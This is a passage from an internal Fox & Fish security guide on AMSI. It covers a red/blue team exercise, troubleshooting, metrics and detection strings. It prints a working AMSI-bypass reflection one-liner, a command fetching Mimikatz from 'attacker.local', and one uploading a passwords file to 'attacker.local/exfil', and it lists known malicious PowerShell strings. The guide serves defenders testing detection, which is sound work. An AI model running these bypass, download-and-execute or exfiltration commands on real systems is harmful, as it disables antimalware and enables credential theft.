[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Phase 4: Credential Access
# RED TEAM: Invoke-Mimikatz
IEX (New-Object Net.WebClient).DownloadString('http://attacker.local/mimikatz.ps1')
# Phase 5: Exfiltration
# RED TEAM: Data exfil
$data = Get-Content C:\sensitive\passwords.txt
IEX (New-Object Net.WebClient).UploadString('http://attacker.local/exfil', $data)
# BLUE TEAM: Analyze detection coverage
# Which phases were detected?
# Detection timeline:
# - Phase 1: [DETECTED/MISSED]
# - Phase 2: [DETECTED/MISSED]
# - Phase 3: [DETECTED/MISSED]
# - Phase 4: [DETECTED/MISSED]
# - Phase 5: [DETECTED/MISSED]
# Calculate: Mean Time To Detect (MTTD)
# Calculate: Mean Time To Respond (MTTR)
12. Troubleshooting
12.1 Issue 1: AMSI Not Detecting
Symptoms: - Malicious scripts execute without blocking - No AMSI errors - No logs generated
Diagnosis:
# Check AMSI availability
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
# Check PowerShell version
$PSVersionTable.PSVersion
# Must be 5.0 or higher
# Check Windows Defender status
Get-MpComputerStatus | Select-Object AMServiceEnabled, RealTimeProtectionEnabled, AntivirusEnabled
# Check if AMSI provider is registered
Get-MpPreference | Select-Object DisableRealtimeMonitoring
# Check for AMSI bypass in current session
# Try executing known bad string
IEX "Invoke-Mimikatz"
# Should be blocked if AMSI is working
Solutions:
# Solution 1: Update Windows Defender signatures
Update-MpSignature
# Solution 2: Enable Real-Time Protection
Set-MpPreference -DisableRealtimeMonitoring $false
# Solution 3: Restart AMSI-related services
Restart-Service -Name WinDefend -Force
# Solution 4: Re-register AMSI provider
# Run as Administrator
regsvr32 /s amsi.dll
# Solution 5: Check for conflicts
# Disable other AV temporarily to test
12.2 Issue 2: False Positives
Symptoms: - Legitimate scripts blocked - Development work interrupted - Build processes failing
Solutions:
# Solution 1: Add exclusions (use sparingly)
Add-MpPreference -ExclusionPath "C:\DevScripts"
# Solution 2: Whitelist specific scripts
Add-MpPreference -ExclusionProcess "legitimate_script.ps1"
# Solution 3: Use code signing
# Sign your scripts with trusted certificate
# AMSI trusts signed code more
# Solution 4: Context-aware exclusions
# Add exclusions only for specific users/processes
# Don't blanket-exclude PowerShell
12.3 Issue 3: AMSI Bypass Successful
Symptoms: - Bypass scripts work - Malicious code executes after bypass - No EDR alerts
Diagnosis:
# Test if bypass succeeded
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# If successful, test malicious execution
IEX "Invoke-Mimikatz"
# If this works, AMSI is bypassed
Solutions:
# Solution 1: Enable AMSI++ (if available)
# Third-party AMSI protection that detects bypass attempts
# Solution 2: Use JEA (Just Enough Administration)
# Restrict what can be executed in PowerShell sessions
# Solution 3: Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
# Prevents reflection attacks
# Solution 4: Application whitelisting
# Only allow signed/approved PowerShell scripts
# Solution 5: EDR with anti-tamper
# FortiEDR, CrowdStrike, etc. should detect AMSI tampering
# If not, tune EDR rules
12.4 Issue 4: Performance Impact
Symptoms: - Slow script execution - High CPU usage - Delayed responses
Solutions:
# Solution 1: Tune AMSI scanning
# Balance security vs performance
# Solution 2: Cache exemptions
# Add frequently-used safe scripts to exclusions
# Solution 3: Use Script Block Logging selectively
# Don't log everything
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 0
# Solution 4: Optimize AV engine
# Ensure AV is updated and optimized
# Consider more performant AV if needed
13. Best Practices
Voor Blue Team
Do's: 1. Enable AMSI on all Windows 10+ systems 2. Combine AMSI with PowerShell logging 3. Monitor for AMSI bypass attempts 4. Use EDR that protects AMSI 5. Regularly test AMSI detection 6. Update AV signatures frequently 7. Implement behavioral detection 8. Log all script execution
Don'ts: 1. Rely solely on AMSI 2. Disable AMSI for convenience 3. Ignore AMSI bypass alerts 4. Over-exclude legitimate paths 5. Forget about non-PowerShell vectors
Voor Red Team
Testing Guidelines: 1. Always get authorization 2. Test in isolated environment first 3. Document bypass techniques found 4. Report vulnerabilities responsibly 5. Help Blue Team improve detections
13.1 Voor Organisaties
Implementation:
# 1. Enable AMSI across domain
# Group Policy:
# Computer Configuration > Administrative Templates >
# Windows Components > Windows Defender Antivirus >
# Real-time Protection > Turn on behavior monitoring
# 2. Enable PowerShell logging
# Group Policy:
# Computer Configuration > Administrative Templates >
# Windows Components > Windows PowerShell >
# Turn on PowerShell Script Block Logging
# 3. Deploy EDR with AMSI protection
# 4. Monitor AMSI events in SIEM
# 5. Regular testing schedule
# - Weekly: Automated AMSI tests
# - Monthly: Purple team exercises
# - Quarterly: Full security assessment
14. Metrics & KPIs
14.1 Detection Metrics
# Calculate detection rate
$totalTests = 100
$detected = 95
$detectionRate = ($detected / $totalTests) * 100
Write-Host "AMSI Detection Rate: $detectionRate%"
# Target: > 95% detection rate
14.2 Response Metrics
# Mean Time To Detect (MTTD)
$attackTime = Get-Date "2025-12-01 10:00:00"
$detectionTime = Get-Date "2025-12-01 10:00:02"
$MTTD = ($detectionTime - $attackTime).TotalSeconds
Write-Host "MTTD: $MTTD seconds"
# Target: < 5 seconds for AMSI detections
14.3 Coverage Metrics
## AMSI Coverage Report
### Supported Vectors
- [x] PowerShell (100%)
- [x] VBScript (100%)
- [x] JScript (100%)
- [x] Office Macros (95%)
- [ ] .NET inline execution (In Progress)
### Attack Techniques Detected
- [x] Invoke-Mimikatz (100%)
- [x] Invoke-Shellcode (100%)
- [x] GPP Password extraction (100%)
- [x] Credential dumping (95%)
- [x] Obfuscated payloads (85%)
- [ ] AMSI bypasses (75% - needs improvement)
### Recommendations
1. Improve AMSI bypass detection
2. Enhance obfuscation detection
3. Add behavioral correlation rules
15. Resources
15.1 Official Documentation
- Microsoft AMSI: https://docs.microsoft.com/en-us/windows/win32/amsi/
- PowerShell + AMSI: https://devblogs.microsoft.com/powershell/
- Windows Defender: https://docs.microsoft.com/en-us/windows/security/threat-protection/
15.2 Tools
- AMSITrigger: https://github.com/RythmStick/AMSITrigger
- Invoke-Obfuscation: https://github.com/danielbohannon/Invoke-Obfuscation
- AMSI.fail: https://amsi.fail/ (bypass database - for testing)
15.3 Research
- Matt Graeber - AMSI Research: https://www.mdsec.co.uk/
- Rastamouse - AMSI Bypasses: https://rastamouse.me/
- BC-SECURITY - AMSI Evasion: https://www.bc-security.org/
15.4 Training
- SANS SEC505: Securing Windows
- Pentester Academy: PowerShell for Pentesters
- DEFCON Talks: AMSI bypass techniques
16. Quick Reference
16.1 Test AMSI Status
# Check if AMSI is present
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
# Check PowerShell version
$PSVersionTable.PSVersion
# Check Windows Defender
Get-MpComputerStatus | Select-Object AMServiceEnabled
16.2 Quick Detection Test
# Should be blocked by AMSI
IEX "Invoke-Mimikatz"
16.3 Check Logs
# AMSI detections
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; ID=1116}
# PowerShell script blocks
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}
16.4 Known Malicious Strings
Invoke-Mimikatz
Invoke-Shellcode
Get-GPPPassword
Invoke-PowerShellTcp
Invoke-ReflectivePEInjection
Invoke-TokenManipulation
DumpCreds
mimikatz
17. Appendix: AMSI Result Codes
AMSI_RESULT_CLEAN = 0
AMSI_RESULT_NOT_DETECTED = 1
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
AMSI_RESULT_DETECTED = 32768
Fox & Fish Cybersecurity | Intern gebruik